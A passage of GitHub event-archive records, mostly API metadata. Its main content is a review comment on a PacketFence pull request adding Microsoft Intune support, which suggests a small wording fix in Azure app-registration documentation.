com/users/pasosdeJesus/following{/other_user}","gists_url":"https://api.github.com/users/pasosdeJesus/gists{/gist_id}","starred_url":"https://api.github.com/users/pasosdeJesus/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pasosdeJesus/subscriptions","organizations_url":"https://api.github.com/users/pasosdeJesus/orgs","repos_url":"https://api.github.com/users/pasosdeJesus/repos","events_url":"https://api.github.com/users/pasosdeJesus/events{/privacy}","received_events_url":"https://api.github.com/users/pasosdeJesus/received_events","type":"Organization","site_admin":false},"repo":{"id":22954406,"node_id":"MDEwOlJlcG9zaXRvcnkyMjk1NDQwNg==","name":"sivel2_gen","full_name":"pasosdeJesus/sivel2_gen","private":false,"owner":{"login":"pasosdeJesus","id":1190228,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExOTAyMjg=","avatar_url":"https://avatars1.githubusercontent.com/u/1190228?v=4","gravatar_id":"","url":"https://api.github.com/users/pasosdeJesus","html_url":"https://github.com/pasosdeJesus","followers_url":"https://api.github.com/users/pasosdeJesus/followers","following_url":"https://api.github.com/users/pasosdeJesus/following{/other_user}","gists_url":"https://api.github.com/users/pasosdeJesus/gists{/gist_id}","starred_url":"https://api.github.com/users/pasosdeJesus/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pasosdeJesus/subscriptions","organizations_url":"https://api.github.com/users/pasosdeJesus/orgs","repos_url":"https://api.github.com/users/pasosdeJesus/repos","events_url":"https://api.github.com/users/pasosdeJesus/events{/privacy}","received_events_url":"https://api.github.com/users/pasosdeJesus/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/pasosdeJesus/sivel2_gen","description":"Motor genérico de SIVeL 2 (Sistema de Información de Violencia Política en Línea versión 2) ","fork":false,"url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen","forks_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/forks","keys_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/keys{/key_id}","collaborators_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/teams","hooks_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/hooks","issue_events_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/issues/events{/number}","events_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/events","assignees_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/assignees{/user}","branches_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/branches{/branch}","tags_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/tags","blobs_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/git/refs{/sha}","trees_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/git/trees{/sha}","statuses_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/statuses/{sha}","languages_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/languages","stargazers_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/stargazers","contributors_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/contributors","subscribers_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/subscribers","subscription_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/subscription","commits_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/commits{/sha}","git_commits_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/git/commits{/sha}","comments_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/comments{/number}","issue_comment_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/issues/comments{/number}","contents_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/contents/{+path}","compare_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/compare/{base}...{head}","merges_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/merges","archive_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/downloads","issues_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/issues{/number}","pulls_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/pulls{/number}","milestones_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/milestones{/number}","notifications_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/labels{/name}","releases_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/releases{/id}","deployments_url":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/deployments","created_at":"2014-08-14T13:16:50Z","updated_at":"2019-06-03T21:55:22Z","pushed_at":"2019-06-04T05:59:26Z","git_url":"git://github.com/pasosdeJesus/sivel2_gen.git","ssh_url":"git@github.com:pasosdeJesus/sivel2_gen.git","clone_url":"https://github.com/pasosdeJesus/sivel2_gen.git","svn_url":"https://github.com/pasosdeJesus/sivel2_gen","homepage":"http://sivel.sf.net","size":2813,"stargazers_count":2,"watchers_count":2,"language":"Ruby","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":5,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":5,"license":null,"forks":5,"open_issues":5,"watchers":2,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/pulls/17"},"html":{"href":"https://github.com/pasosdeJesus/sivel2_gen/pull/17"},"issue":{"href":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/issues/17"},"comments":{"href":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/issues/17/comments"},"review_comments":{"href":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/pulls/17/comments"},"review_comment":{"href":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/pulls/17/commits"},"statuses":{"href":"https://api.github.com/repos/pasosdeJesus/sivel2_gen/statuses/06a6c958f63927815aa47fcfcd7351cbd398a30f"}},"author_association":"NONE"}}
|
{
"id": 22954406,
"name": "pasosdeJesus/sivel2_gen",
"url": "https://api.github.com/repos/pasosdeJesus/sivel2_gen"
}
|
{
"id": 6697940,
"login": "houndci-bot",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/6697940?",
"url": "https://api.github.com/users/houndci-bot"
}
|
{
"id": 1190228,
"login": "pasosdeJesus",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1190228?",
"url": "https://api.github.com/orgs/pasosdeJesus"
}
| 2019-06-04T06:18:02 |
9752398833
|
{"actor":{"display_login":"houndci-bot"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/inverse-inc/packetfence/pulls/comments/315808961","pull_request_review_id":277318730,"id":315808961,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMxNTgwODk2MQ==","diff_hunk":"@@ -0,0 +1,73 @@\n+// to display images directly on GitHub\n+ifdef::env-github[]\n+:imagesdir: ../images\n+endif::[]\n+\n+Configure from the Azure portal\n+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n+You will first need to connect to the Azure portal and be sure that you have the Intune licences.\n+\n+Creating the application\n+++++++++++++++++++++++++ \n+Once you are logged in the portal you need to create an application to allow the access to the Graph API.\n+\n+Click on 'Azure Active Directory' and on 'App registrations' and on 'New registration'\n+\n+image::Azure_Application_1.png[scaledwidth=\"100%\",alt=\"Azure add application\"]\n+\n+Set a name for the application (in this case PacketFence) and choose as 'Supported account types' : 'Accounts in this organizational directory only' and click 'Register'\n+\n+image::Azure_Application_2.png[scaledwidth=\"100%\",alt=\"Azure define application\"]\n+\n+On the next page you will be able to configure the application, first copy the 'Application (client ID)' and the 'Directory (tenant ID)', you will need them to define your provisioner.\n+\n+image::Azure_Application_3.png[scaledwidth=\"100%\",alt=\"Azure ID\"]\n+\n+Next click on 'Certificates & secrets' and 'New client secret' , this will provide you the password to use for the application (Save it right now because you won't be able to have it after).\n+\n+image::Azure_Application_4.png[scaledwidth=\"100%\",alt=\"Azure Password\"]\n+\n+Last thing, you need to add permissions on the API, to do that click on 'API permissions' and 'Microsoft Graph' then on the right pane select 'Application permissions' and add:","path":"docs/provisioner/intune.asciidoc","position":30,"original_position":30,"commit_id":"3cfb7df208feb58bd22bd7403da0bd58f0ffa4c3","original_commit_id":"3cfb7df208feb58bd22bd7403da0bd58f0ffa4c3","user":{"login":"jrouzierinverse","id":2727473,"node_id":"MDQ6VXNlcjI3Mjc0NzM=","avatar_url":"https://avatars3.githubusercontent.com/u/2727473?v=4","gravatar_id":"","url":"https://api.github.com/users/jrouzierinverse","html_url":"https://github.com/jrouzierinverse","followers_url":"https://api.github.com/users/jrouzierinverse/followers","following_url":"https://api.github.com/users/jrouzierinverse/following{/other_user}","gists_url":"https://api.github.com/users/jrouzierinverse/gists{/gist_id}","starred_url":"https://api.github.com/users/jrouzierinverse/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jrouzierinverse/subscriptions","organizations_url":"https://api.github.com/users/jrouzierinverse/orgs","repos_url":"https://api.github.com/users/jrouzierinverse/repos","events_url":"https://api.github.com/users/jrouzierinverse/events{/privacy}","received_events_url":"https://api.github.com/users/jrouzierinverse/received_events","type":"User","site_admin":false},"body":"Reword:\r\nLast -> The last","created_at":"2019-08-20T17:19:23Z","updated_at":"2019-08-20T17:19:23Z","html_url":"https://github.com/inverse-inc/packetfence/pull/4704#discussion_r315808961","pull_request_url":"https://api.github.com/repos/inverse-inc/packetfence/pulls/4704","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/inverse-inc/packetfence/pulls/comments/315808961"},"html":{"href":"https://github.com/inverse-inc/packetfence/pull/4704#discussion_r315808961"},"pull_request":{"href":"https://api.github.com/repos/inverse-inc/packetfence/pulls/4704"}}},"pull_request":{"url":"https://api.github.com/repos/inverse-inc/packetfence/pulls/4704","id":303517241,"node_id":"MDExOlB1bGxSZXF1ZXN0MzAzNTE3MjQx","html_url":"https://github.com/inverse-inc/packetfence/pull/4704","diff_url":"https://github.com/inverse-inc/packetfence/pull/4704.diff","patch_url":"https://github.com/inverse-inc/packetfence/pull/4704.patch","issue_url":"https://api.github.com/repos/inverse-inc/packetfence/issues/4704","number":4704,"state":"open","locked":false,"title":"Microsoft Intune support","user":{"login":"fdurand","id":1553962,"node_id":"MDQ6VXNlcjE1NTM5NjI=","avatar_url":"https://avatars1.githubusercontent.com/u/1553962?v=4","gravatar_id":"","url":"https://api.github.com/users/fdurand","html_url":"https://github.com/fdurand","followers_url":"https://api.github.com/users/fdurand/followers","following_url":"https://api.github.com/users/fdurand/following{/other_user}","gists_url":"https://api.github.com/users/fdurand/gists{/gist_id}","starred_url":"https://api.github.com/users/fdurand/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fdurand/subscriptions","organizations_url":"https://api.github.com/users/fdurand/orgs","repos_url":"https://api.github.com/users/fdurand/repos","events_url":"https://api.github.com/users/fdurand/events{/privacy}","received_events_url":"https://api.github.com/users/fdurand/received_events","type":"User","site_admin":false},"body":"# Description\r\nMicrosoft Intune support\r\n\r\n# Impacts\r\nProvisioner\r\n\r\n# Delete branch after merge\r\nYES\r\n\r\n# Checklist\r\n- [ ] Document the feature\r\n- [ ] Add unit tests\r\n- [ ] Add acceptance tests (TestLink)\r\n\r\n# NEWS file entries\r\n## New Features\r\n* Microsoft Intune support\r\n","created_at":"2019-08-01T19:13:05Z","updated_at":"2019-08-20T17:19:23Z","closed_at":null,"merged_at":null,"merge_commit_sha":"85a4ad761952402662f58dadcd06b450073baf4f","assignee":{"login":"jrouzierinverse","id":2727473,"node_id":"MDQ6VXNlcjI3Mjc0NzM=","avatar_url":"https://avatars3.githubusercontent.com/u/2727473?v=4","gravatar_id":"","url":"https://api.github.com/users/jrouzierinverse","html_url":"https://github.com/jrouzierinverse","followers_url":"https://api.github.com/users/jrouzierinverse/followers","following_url":"https://api.github.com/users/jrouzierinverse/following{/other_user}","gists_url":"https://api.github.com/users/jrouzierinverse/gists{/gist_id}","starred_url":"https://api.github.com/users/jrouzierinverse/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jrouzierinverse/subscriptions","organizations_url":"https://api.github.com/users/jrouzierinverse/orgs","repos_url":"https://api.github.com/users/jrouzierinverse/repos","events_url":"https://api.github.com/users/jrouzierinverse/events{/privacy}","received_events_url":"https://api.github.com/users/jrouzierinverse/received_events","type":"User","site_admin":false},"assignees":[{"login":"jrouzierinverse","id":2727473,"node_id":"MDQ6VXNlcjI3Mjc0NzM=","avatar_url":"https://avatars3.githubusercontent.com/u/2727473?v=4","gravatar_id":"","url":"https://api.github.com/users/jrouzierinverse","html_url":"https://github.com/jrouzierinverse","followers_url":"https://api.github.com/users/jrouzierinverse/followers","following_url":"https://api.github.com/users/jrouzierinverse/following{/other_user}","gists_url":"https://api.github.com/users/jrouzierinverse/gists{/gist_id}","starred_url":"https://api.github.com/users/jrouzierinverse/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jrouzierinverse/subscriptions","organizations_url":"https://api.github.com/users/jrouzierinverse/orgs","repos_url":"https://api.github.com/users/jrouzierinverse/repos","events_url":"https://api.github.com/users/jrouzierinverse/events{/privacy}","received_events_url":"https://api.github.com/users/jrouzierinverse/received_events","type":"User","site_admin":false},{"login":"julsemaan","id":3857942,"node_id":"MDQ6VXNlcjM4NTc5NDI=","avatar_url":"https://avatars1.githubusercontent.com/u/3857942?v=4","gravatar_id":"","url":"https://api.github.com/users/julsemaan","html_url":"https://github.com/julsemaan","followers_url":"https://api.github.com/users/julsemaan/followers","following_url":"https://api.github.com/users/julsemaan/following{/other_user}","gists_url":"https://api.github.com/users/julsemaan/gists{/gist_id}","starred_url":"https://api.github.com/users/julsemaan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julsemaan/subscriptions","organizations_url":"https://api.github.com/users/julsemaan/orgs","repos_url":"https://api.github.com/users/julsemaan/repos","events_url":"https://api.github.com/users/julsemaan/events{/privacy}","received_events_url":"https://api.github.com/users/julsemaan/received_events","type":"User","site_admin":false}],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":153505106,"node_id":"MDU6TGFiZWwxNTM1MDUxMDY=","url":"https://api.github.com/repos/inverse-inc/packetfence/labels/Status:%20For%20review","name":"Status: For review","color":"fbca04","default":false},{"id":586478,"node_id":"MDU6TGFiZWw1ODY0Nzg=","url":"https://api.github.com/repos/inverse-inc/packetfence/labels/Type:%20Feature%20/%20Enhancement","name":"Type: Feature / Enhancement","color":"0e8a16","default":false}],"milestone":{"url":"https://api.github.com/repos/inverse-inc/packetfence/milestones/35","html_url":"https://github.com/inverse-inc/packetfence/milestone/35","labels_url":"https://api.github.com/repos/inverse-inc/packetfence/milestones/35/labels","id":4138484,"node_id":"MDk6TWlsZXN0b25lNDEzODQ4NA==","number":35,"title":"PacketFence-9.1","description":"","creator":{"login":"extrafu","id":1616141,"node_id":"MDQ6VXNlcjE2MTYxNDE=","avatar_url":"https://avatars2.githubusercontent.com/u/1616141?v=4","gravatar_id":"","url":"https://api.github.com/users/extrafu","html_url":"https://github.com/extrafu","followers_url":"https://api.github.com/users/extrafu/followers","following_url":"https://api.github.com/users/extrafu/following{/other_user}","gists_url":"https://api.github.com/users/extrafu/gists{/gist_id}","starred_url":"https://api.github.com/users/extrafu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/extrafu/subscriptions","organizations_url":"https://api.github.com/users/extrafu/orgs","repos_url":"https://api.github.com/users/extrafu/repos","events_url":"https://api.github.com/users/extrafu/events{/privacy}","received_events_url":"https://api.github.com/users/extrafu/received_events","type":"User","site_admin":false},"open_issues":174,"closed_issues":58,"state":"open","created_at":"2019-03-13T19:56:58Z","updated_at":"2019-08-20T15:16:18Z","due_on":null,"closed_at":null},"commits_url":"https://api.github.com/repos/inverse-inc/packetfence/pulls/4704/commits","review_comments_url":"https://api.github.com/repos/inverse-inc/packetfence/pulls/4704/comments","review_comment_url":"https://api.github.com/repos/inverse-inc/packetfence/pulls/comments{/number}","comments_url":"https://api.github.com/repos/inverse-inc/packetfence/issues/4704/comments","statuses_url":"https://api.github.com/repos/inverse-inc/packetfence/statuses/3cfb7df208feb58bd22bd7403da0bd58f0ffa4c3","head":{"label":"inverse-inc:feature/intune","ref":"feature/intune","sha":"3cfb7df208feb58bd22bd7403da0bd58f0ffa4c3","user":{"login":"inverse-inc","id":1203154,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyMDMxNTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/1203154?v=4","gravatar_id":"","url":"https://api.github.com/users/inverse-inc","html_url":"https://github.com/inverse-inc","followers_url":"https://api.github.com/users/inverse-inc/followers","following_url":"https://api.github.com/users/inverse-inc/following{/other_user}","gists_url":"https://api.github.com/users/inverse-inc/gists{/gist_id}","starred_url":"https://api.github.com/users/inverse-inc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/inverse-inc/subscriptions","organizations_url":"https://api.github.com/users/inverse-inc/orgs","repos_url":"https://api.github.com/users/inverse-inc/repos","events_url":"https://api.github.com/users/inverse-inc/events{/privacy}","received_events_url":"https://api.github.com/users/inverse-inc/received_events","type":"Organization","site_admin":false},"repo":{"id":3595658,"node_id":"MDEwOlJlcG9zaXRvcnkzNTk1NjU4","name":"packetfence","full_name":"inverse-inc/packetfence","private":false,"owner":{"login":"inverse-inc","id":1203154,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyMDMxNTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/1203154?v=4","gravatar_id":"","url":"https://api.github.com/users/inverse-inc","html_url":"https://github.com/inverse-inc","followers_url":"https://api.github.com/users/inverse-inc/followers","following_url":"https://api.github.com/users/inverse-inc/following{/other_user}","gists_url":"https://api.github.com/users/inverse-inc/gists{/gist_id}","starred_url":"https://api.github.com/users/inverse-inc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/inverse-inc/subscriptions","organizations_url":"https://api.github.com/users/inverse-inc/orgs","repos_url":"https://api.github.com/users/inverse-inc/repos","events_url":"https://api.github.com/users/inverse-inc/events{/privacy}","received_events_url":"https://api.github.com/users/inverse-inc/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/inverse-inc/packetfence","description":"PacketFence is a fully supported, trusted, Free and Open Source network access control (NAC) solution. Boasting an impressive feature set including a captive-portal for registration and remediation, centralized wired and wireless management, powerful BYOD management options, 802.1X support, layer-2 isolation of problematic devices; PacketFence can be used to effectively secure networks small to very large heterogeneous networks.","fork":false,"url":"https://api.github.com/repos/inverse-inc/packetfence","forks_url":"https://api.github.com/repos/inverse-inc/packetfence/forks","keys_url":"https://api.github.com/repos/inverse-inc/packetfence/keys{/key_id}","collaborators_url":"https://api.github.com/repos/inverse-inc/packetfence/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/inverse-inc/packetfence/teams","hooks_url":"https://api.github.com/repos/inverse-inc/packetfence/hooks","issue_events_url":"https://api.github.com/repos/inverse-inc/packetfence/issues/events{/number}","events_url":"https://api.github.com/repos/inverse-inc/packetfence/events","assignees_url":"https://api.github.com/repos/inverse-inc/packetfence/assignees{/user}","branches_url":"https://api.github.com/repos/inverse-inc/packetfence/branches{/branch}","tags_url":"https://api.github.com/repos/inverse-inc/packetfence/tags","blobs_url":"https://api.github.com/repos/inverse-inc/packetfence/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/inverse-inc/packetfence/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/inverse-inc/packetfence/git/refs{/sha}","trees_url":"https://api.github.com/repos/inverse-inc/packetfence/git/trees{/sha}","statuses_url":"https://api.github.com/repos/inverse-inc/packetfence/statuses/{sha}","languages_url":"https://api.github.com/repos/inverse-inc/packetfence/languages","stargazers_url":"https://api.github.com/repos/inverse-inc/packetfence/stargazers","contributors_url":"https://api.github.com/repos/inverse-inc/packetfence/contributors","subscribers_url":"https://api.github.com/repos/inverse-inc/packetfence/subscribers","subscription_url":"https://api.github.com/repos/inverse-inc/packetfence/subscription","commits_url":"https://api.github.com/repos/inverse-inc/packetfence/commits{/sha}","git_commits_url":"https://api.github.com/repos/inverse-inc/packetfence/git/commits{/sha}","comments_url":"https://api.github.com/repos/inverse-inc/packetfence/comments{/number}","issue_comment_url":"https://api.github.com/repos/inverse-inc/packetfence/issues/comments{/number}","contents_url":"https://api.github.com/repos/inverse-inc/packetfence/contents/{+path}","compare_url":"https://api.github.com/repos/inverse-inc/packetfence/compare/{base}...{head}","merges_url":"https://api.github.com/repos/inverse-inc/packetfence/merges","archive_url":"https://api.github.com/repos/inverse-inc/packetfence/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/inverse-inc/packetfence/downloads","issues_url":"https://api.github.com/repos/inverse-inc/packetfence/issues{/number}","pulls_url":"https://api.github.com/repos/inverse-inc/packetfence/pulls{/number}","milestones_url":"https://api.github.com/repos/inverse-inc/packetfence/milestones{/number}","notifications_url":"https://api.github.com/repos/inverse-inc/packetfence/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/inverse-inc/packetfence/labels{/name}","releases_url":"https://api.github.com/repos/inverse-inc/packetfence/releases{/id}","deployments_url":"https://api.github.com/repos/inverse-inc/packetfence/deployments","created_at":"2012-03-01T20:21:13Z","updated_at":"2019-08-20T15:42:29Z","pushed_at":"2019-08-20T16:39:49Z","git_url":"git://github.com/inverse-inc/packetfence.git","ssh_url":"git@github.com:inverse-inc/packetfence.git","clone_url":"https://github.com/inverse-inc/packetfence.git","svn_url":"https://github.com/inverse-inc/packetfence","homepage":"https://packetfence.org","size":256177,"stargazers_count":663,"watchers_count":663,"language":"Perl","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":188,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":412,"license":{"key":"gpl-2.0","name":"GNU General Public License v2.0","spdx_id":"GPL-2.0","url":"https://api.github.com/licenses/gpl-2.0","node_id":"MDc6TGljZW5zZTg="},"forks":188,"open_issues":412,"watchers":663,"default_branch":"devel"}},"base":{"label":"inverse-inc:devel","ref":"devel","sha":"c811f36e2dd97eb7d6be9b06691e714b1a4832bc","user":{"login":"inverse-inc","id":1203154,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyMDMxNTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/1203154?v=4","gravatar_id":"","url":"https://api.github.com/users/inverse-inc","html_url":"https://github.com/inverse-inc","followers_url":"https://api.github.com/users/inverse-inc/followers","following_url":"https://api.github.com/users/inverse-inc/following{/other_user}","gists_url":"https://api.github.com/users/inverse-inc/gists{/gist_id}","starred_url":"https://api.github.com/users/inverse-inc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/inverse-inc/subscriptions","organizations_url":"https://api.github.com/users/inverse-inc/orgs","repos_url":"https://api.github.com/users/inverse-inc/repos","events_url":"https://api.github.com/users/inverse-inc/events{/privacy}","received_events_url":"https://api.github.com/users/inverse-inc/received_events","type":"Organization","site_admin":false},"repo":{"id":3595658,"node_id":"MDEwOlJlcG9zaXRvcnkzNTk1NjU4","name":"packetfence","full_name":"inverse-inc/packetfence","private":false,"owner":{"login":"inverse-inc","id":1203154,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyMDMxNTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/1203154?v=4","gravatar_id":"","url":"https://api.github.com/users/inverse-inc","html_url":"https://github.com/inverse-inc","followers_url":"https://api.github.com/users/inverse-inc/followers","following_url":"https://api.github.com/users/inverse-inc/following{/other_user}","gists_url":"https://api.github.com/users/inverse-inc/gists{/gist_id}","starred_url":"https://api.github.com/users/inverse-inc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/inverse-inc/subscriptions","organizations_url":"https://api.github.com/users/inverse-inc/orgs","repos_url":"https://api.github.com/users/inverse-inc/repos","events_url":"https://api.github.com/users/inverse-inc/events{/privacy}","received_events_url":"https://api.github.com/users/inverse-inc/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/inverse-inc/packetfence","description":"PacketFence is a fully supported, trusted, Free and Open Source network access control (NAC) solution. Boasting an impressive feature set including a captive-portal for registration and remediation, centralized wired and wireless management, powerful BYOD management options, 802.1X support, layer-2 isolation of problematic devices; PacketFence can be used to effectively secure networks small to very large heterogeneous networks.","fork":false,"url":"https://api.github.com/repos/inverse-inc/packetfence","forks_url":"https://api.github.com/repos/inverse-inc/packetfence/forks","keys_url":"https://api.github.com/repos/inverse-inc/packetfence/keys{/key_id}","collaborators_url":"https://api.github.com/repos/inverse-inc/packetfence/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/inverse-inc/packetfence/teams","hooks_url":"https://api.github.com/repos/inverse-inc/packetfence/hooks","issue_events_url":"https://api.github.com/repos/inverse-inc/packetfence/issues/events{/number}","events_url":"https://api.github.com/repos/inverse-inc/packetfence/events","assignees_url":"https://api.github.com/repos/inverse-inc/packetfence/assignees{/user}","branches_url":"https://api.github.com/repos/inverse-inc/packetfence/branches{/branch}","tags_url":"https://api.github.com/repos/inverse-inc/packetfence/tags","blobs_url":"https://api.github.com/repos/inverse-inc/packetfence/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/inverse-inc/packetfence/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/inverse-inc/packetfence/git/refs{/sha}","trees_url":"https://api.github.com/repos/inverse-inc/packetfence/git/trees{/sha}","statuses_url":"https://api.github.com/repos/inverse-inc/packetfence/statuses/{sha}","languages_url":"https://api.github.com/repos/inverse-inc/packetfence/languages","stargazers_url":"https://api.github.com/repos/inverse-inc/packetfence/stargazers","contributors_url":"https://api.github.com/repos/inverse-inc/packetfence/contributors","subscribers_url":"https://api.github.com/repos/inverse-inc/packetfence/subscribers","subscription_url":"https://api.github.com/repos/inverse-inc/packetfence/subscription","commits_url":"https://api.github.com/repos/inverse-inc/packetfence/commits{/sha}","git_commits_url":"https://api.github.com/repos/inverse-inc/packetfence/git/commits{/sha}","comments_url":"https://api.github.com/repos/inverse-inc/packetfence/comments{/number}","issue_comment_url":"https://api.github.com/repos/inverse-inc/packetfence/issues/comments{/number}","contents_url":"https://api.github.com/repos/inverse-inc/packetfence/contents/{+path}","compare_url":"https://api.github.com/repos/inverse-inc/packetfence/compare/{base}...{head}","merges_url":"https://api.github.com/repos/inverse-inc/packetfence/merges","archive_url":"https://api.github.com/repos/inverse-inc/packetfence/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/inverse-inc/packetfence/downloads","issues_url":"https://api.github.com/repos/inverse-inc/packetfence/issues{/number}","pulls_url":"https://api.github.com/repos/inverse-inc/packetfence/pulls{/number}","milestones_url":"https://api.github.com/repos/inverse-inc/packetfence/milestones{/number}","notifications_url":"https://api.github.com/repos/inverse-inc/packetfence/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/inverse-inc/packetfence/labels{/name}","releases_url":"https://api.github.com/repos/inverse-inc/packetfence/releases{/id}","deployments_url":"https://api.github.com/repos/inverse-inc/packetfence/deployments","created_at":"2012-03-01T20:21:13Z","updated_at":"2019-08-20T15:42:29Z","pushed_at":"2019-08-20T16:39:49Z","git_url":"git://github.com/inverse-inc/packetfence.git","ssh_url":"git@github.com:inverse-inc/packetfence.git","clone_url":"https://github.com/inverse-inc/packetfence.git","svn_url":"https://github.com/inverse-inc/packetfence","homepage":"https://packetfence.org","size":256177,"stargazers_count":663,"watchers_count":663,"language":"Perl","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":188,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":412,"license":{"key":"gpl-2.0","name":"GNU General Public License v2.0","spdx_id":"GPL-2.0","url":"https://api.github.com/licenses/gpl-2.0","node_id":"MDc6TGljZW5zZTg="},"forks":188,"open_issues":412,"watchers":663,"default_branch":"devel"}},"_links":{"self":{"href":"https://api.github.com/repos/inverse-inc/packetfence/pulls/4704"},"html":{"href":"https://github.com/inverse-inc/packetfence/pull/4704"},"issue":{"href":"https://api.github.com/repos/inverse-inc/packetfence/issues/4704"},"comments":{"href":"https://api.github.com/repos/inverse-inc/packetfence/issues/4704/comments"},"review_comments":{"href":"https://api.github.com/repos/inverse-inc/packetfence/pulls/4704/comments"},"review_comment":{"href":"https://api.github.com/repos/inverse-inc/packetfence/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/inverse-inc/packetfence/pulls/4704/commits"},"statuses":{"href":"https://api.github.com/repos/inverse-inc/packetfence/statuses/3cfb7df208feb58bd22bd7403da0bd58f0ffa4c3"}},"author_association":"MEMBER"}}
|
{
"id": 3595658,
"name": "inverse-inc/packetfence",
"url": "https://api.github.com/repos/inverse-inc/packetfence"
}
|
{
"id": 2727473,
"login": "jrouzierinverse",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2727473?",
"url": "https://api.github.com/users/jrouzierinverse"
}
|
{
"id": 1203154,
"login": "inverse-inc",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1203154?",
"url": "https://api.github.com/orgs/inverse-inc"
}
| 2019-08-20T17:19:23 |
10247630438
|
{"actor":{"display_login":"jrouzierinverse"}}
|
PullRequestReviewCommentEvent
| true |
